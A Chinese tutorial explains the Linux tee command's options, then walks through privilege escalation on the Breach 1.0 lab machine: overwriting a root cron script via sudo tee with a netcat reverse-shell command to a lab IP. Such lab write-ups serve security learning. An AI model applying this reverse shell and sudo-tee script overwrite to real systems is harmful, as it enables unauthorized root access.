前言
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。
语法
tee [-ai][–help][–version][文件…]
参数:
-a或–append 附加到既有文件的后面,而非覆盖它.
-i或–ignore-interrupts 忽略中断信号。
–help 在线帮助。
–version 显示版本信息。
0x01实例
Breach 1.0 靶场
https://blog.csdn.net/YouthBelief/article/details/122299164
信息收集到
cd /usr/share/cleanup
cat tidyup.sh
比较可疑
发现是root文件,不过没有写入权限。
是一段清理脚本,描述中说明每3分钟执行清理,删除webapps目录下的文件,因此之前tomcat后台上传的马总是被删除,需要重新上传。
操作
(1) 向tidyup.sh中写入反弹shell命令
tidyup.sh文件只有root可写,而能够以root权限运行tee命令,那么用tee命令写tidyup.sh:先将反弹shell命令写入shell.txt文件,使用bash反弹shell命令没有成功,于是使用nc命令反弹shell成功,所以写nc反弹命令:
echo "nc -e /bin/bash 192.168.110.128 5555" > shell.txt
再使用tee命令将shell.txt内容输出到tidyup.sh
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
查看tidyup.sh文件写入成功:
cat /usr/share/cleanup/tidyup.sh
(2) nc监听等待反弹shell,查看权限是root。